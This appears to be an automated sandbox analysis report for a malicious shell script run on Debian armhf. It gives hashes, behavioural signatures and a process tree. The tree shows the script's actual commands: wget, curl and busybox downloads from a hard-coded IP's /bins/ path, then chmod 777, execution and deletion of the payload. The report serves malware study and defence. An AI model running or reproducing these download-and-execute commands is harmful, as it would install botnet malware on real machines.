Analysis

  • max time kernel
    2s
  • max time network
    4s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    18/10/2024, 01:49

General

  • Target

    5d9193c54c990112613dee4a02fb5a3f1ba4fd5fe69ccdd2a981daa8e3766b19.sh

  • Size

    10KB

  • MD5

    9a652a59ec3ea4f4b578b2c9f0e9c25c

  • SHA1

    8c2b441f097c1f3c910ef9adb5b6816ddd60213b

  • SHA256

    5d9193c54c990112613dee4a02fb5a3f1ba4fd5fe69ccdd2a981daa8e3766b19

  • SHA512

    c68e93af48af16ba88fb94f6a8a874da524ac9fd19cb25abf57ac44b802ad1c202783ccdaca8d1876e6b4fcbec0b9f2080c1b06d78f60845281d78bb3b2b2216

  • SSDEEP

    192:g3P87X+A6ZsXTqpx+PiAX0kvXTqpx73P87X6M0kXf:eA0YP5/

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 2 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/5d9193c54c990112613dee4a02fb5a3f1ba4fd5fe69ccdd2a981daa8e3766b19.sh
    /tmp/5d9193c54c990112613dee4a02fb5a3f1ba4fd5fe69ccdd2a981daa8e3766b19.sh
    1⤵
      PID:649
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:652
        • /usr/bin/wget
          wget http://87.120.84.230/bins/oyUBEcyDU1EsQwThfqleajw2zL6xGkjhVq
          2⤵
            PID:656
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/oyUBEcyDU1EsQwThfqleajw2zL6xGkjhVq
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:675
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/oyUBEcyDU1EsQwThfqleajw2zL6xGkjhVq
            2⤵
              PID:680
            • /bin/chmod
              chmod 777 oyUBEcyDU1EsQwThfqleajw2zL6xGkjhVq
              2⤵
              • File and Directory Permissions Modification
              PID:682
            • /tmp/oyUBEcyDU1EsQwThfqleajw2zL6xGkjhVq
              ./oyUBEcyDU1EsQwThfqleajw2zL6xGkjhVq
              2⤵
              • Executes dropped EXE
              PID:683
            • /bin/rm
              rm oyUBEcyDU1EsQwThfqleajw2zL6xGkjhVq
              2⤵
                PID:684
              • /usr/bin/wget
                wget http://87.120.84.230/bins/TXtJAFY2FPmLSfRhLI3K6JBoUHWcVUJfe5
                2⤵
                  PID:685

              Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • /tmp/oyUBEcyDU1EsQwThfqleajw2zL6xGkjhVq

                      Filesize

                      153B

                      MD5

                      998368d7c95ea4293237f2320546e440

                      SHA1

                      30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

                      SHA256

                      533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

                      SHA512

                      648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97